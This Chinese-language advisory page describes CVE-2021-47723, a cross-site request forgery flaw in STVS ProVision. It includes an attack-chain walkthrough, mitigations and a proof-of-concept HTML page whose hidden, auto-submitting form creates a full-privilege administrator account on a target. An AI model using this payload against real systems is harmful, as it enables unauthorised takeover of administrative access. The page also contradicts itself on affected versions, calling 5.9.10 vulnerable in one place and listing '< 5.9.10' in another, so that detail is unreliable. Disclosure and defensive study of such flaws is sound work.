IPBUF安全漏洞报告
English
CVE-2021-47723 CVSS 8.8 高危

CVE-2021-47723 STVS ProVision跨站请求伪造漏洞可创建管理员账户

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2021-47723
漏洞类型
跨站请求伪造(CSRF)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
STVS ProVision

相关标签

跨站请求伪造CSRFSTVS ProVisionCVE-2021-47723高危漏洞管理员账户创建身份认证绕过Web安全

漏洞概述

CVE-2021-47723是STVS ProVision 5.9.10版本中存在的一个高危跨站请求伪造(CSRF)漏洞。该漏洞由VulnCheck发现并披露,CVSS评分高达8.8分,属于高危级别。攻击者可以利用该漏洞诱使已登录的管理员用户在不知情的情况下执行未授权的操作,包括创建新的管理员账户。一旦攻击成功,攻击者即可获得系统的完全管理权限,进而可能控制整个STVS ProVision系统,访问敏感数据,或将系统作为进一步攻击的跳板。该漏洞的利用不需要攻击者进行身份认证,但需要诱导管理员用户访问恶意网页或点击恶意链接,利用浏览器自动发送Cookie的特性完成攻击。攻击者通过构造恶意的HTTP请求,利用Web应用程序对用户请求的信任缺陷,在管理员不知情的情况下以管理员权限执行操作。

技术细节

STVS ProVision 5.9.10的管理员功能缺少对CSRF令牌的验证机制。跨站请求伪造是一种利用用户已认证会话的攻击方式,攻击者通过构造恶意网页或链接,诱导已登录用户访问,从而在用户不知情的情况下以其身份发送请求。在该漏洞中,攻击者创建一个包含恶意表单的网页,该表单模仿创建管理员用户的合法请求。当管理员用户访问该页面时,浏览器会自动携带有效的会话Cookie发送POST请求到STVS ProVision服务器。由于服务器仅验证用户是否已登录(通过Cookie),而未验证请求是否来自合法的应用页面,攻击者的恶意请求将被执行。具体攻击流程:攻击者构造包含用户名、密码等参数的表单,指向STVS ProVision的管理用户创建接口,通过社会工程学手段诱使管理员访问该页面,浏览器自动提交请求,服务器执行创建管理员操作。攻击者从而获得一个新的管理员账户,实现持久化控制。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意网页,构造针对STVS ProVision管理员用户创建功能的CSRF攻击载荷,包含用户名、密码等参数
STEP 2
步骤2
攻击者通过社会工程学手段(如钓鱼邮件、恶意链接)诱导已登录的STVS ProVision管理员访问恶意网页
STEP 3
步骤3
管理员浏览器自动加载恶意页面,JavaScript自动提交包含管理员创建请求的表单
STEP 4
步骤4
浏览器携带有效的管理员会话Cookie向STVS ProVision服务器发送POST请求
STEP 5
步骤5
STVS ProVision服务器验证Cookie有效后执行请求,由于缺少CSRF令牌验证,请求被正常处理
STEP 6
步骤6
系统创建新的管理员账户,攻击者获得完全的系统管理权限,可进行后续恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2021-47723: Create Admin User in STVS ProVision --> <!DOCTYPE html> <html> <head> <title>STVS ProVision CSRF Exploit - CVE-2021-47723</title> </head> <body> <h1>STVS ProVision CSRF Vulnerability Test</h1> <p>This page demonstrates the CSRF vulnerability in STVS ProVision 5.9.10</p> <!-- Auto-submit form to create admin user --> <form id="csrfForm" action="http://target:8080/api/admin/users" method="POST" style="display:none;"> <input type="hidden" name="action" value="create"> <input type="hidden" name="username" value="malicious_admin"> <input type="hidden" name="password" value="P@ssw0rd123"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="role" value="admin"> <input type="hidden" name="privileges" value="full"> </form> <script> // Automatically submit the form when page loads document.getElementById('csrfForm').submit(); console.log('CSRF exploit sent - Creating admin user'); </script> <p>If you see this message, the exploit may have been executed.</p> </body> </html>

影响范围

STVS ProVision < 5.9.10

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 为STVS ProVision配置严格的访问控制,限制管理界面的访问来源;2) 加强对管理员的安全培训,提高对社会工程学攻击的防范意识;3) 监控异常的管理员账户创建行为;4) 考虑暂时禁用管理员自助创建功能,改为通过后端手动创建;5) 使用Web应用防火墙(WAF)规则检测和阻止异常的CSRF攻击请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表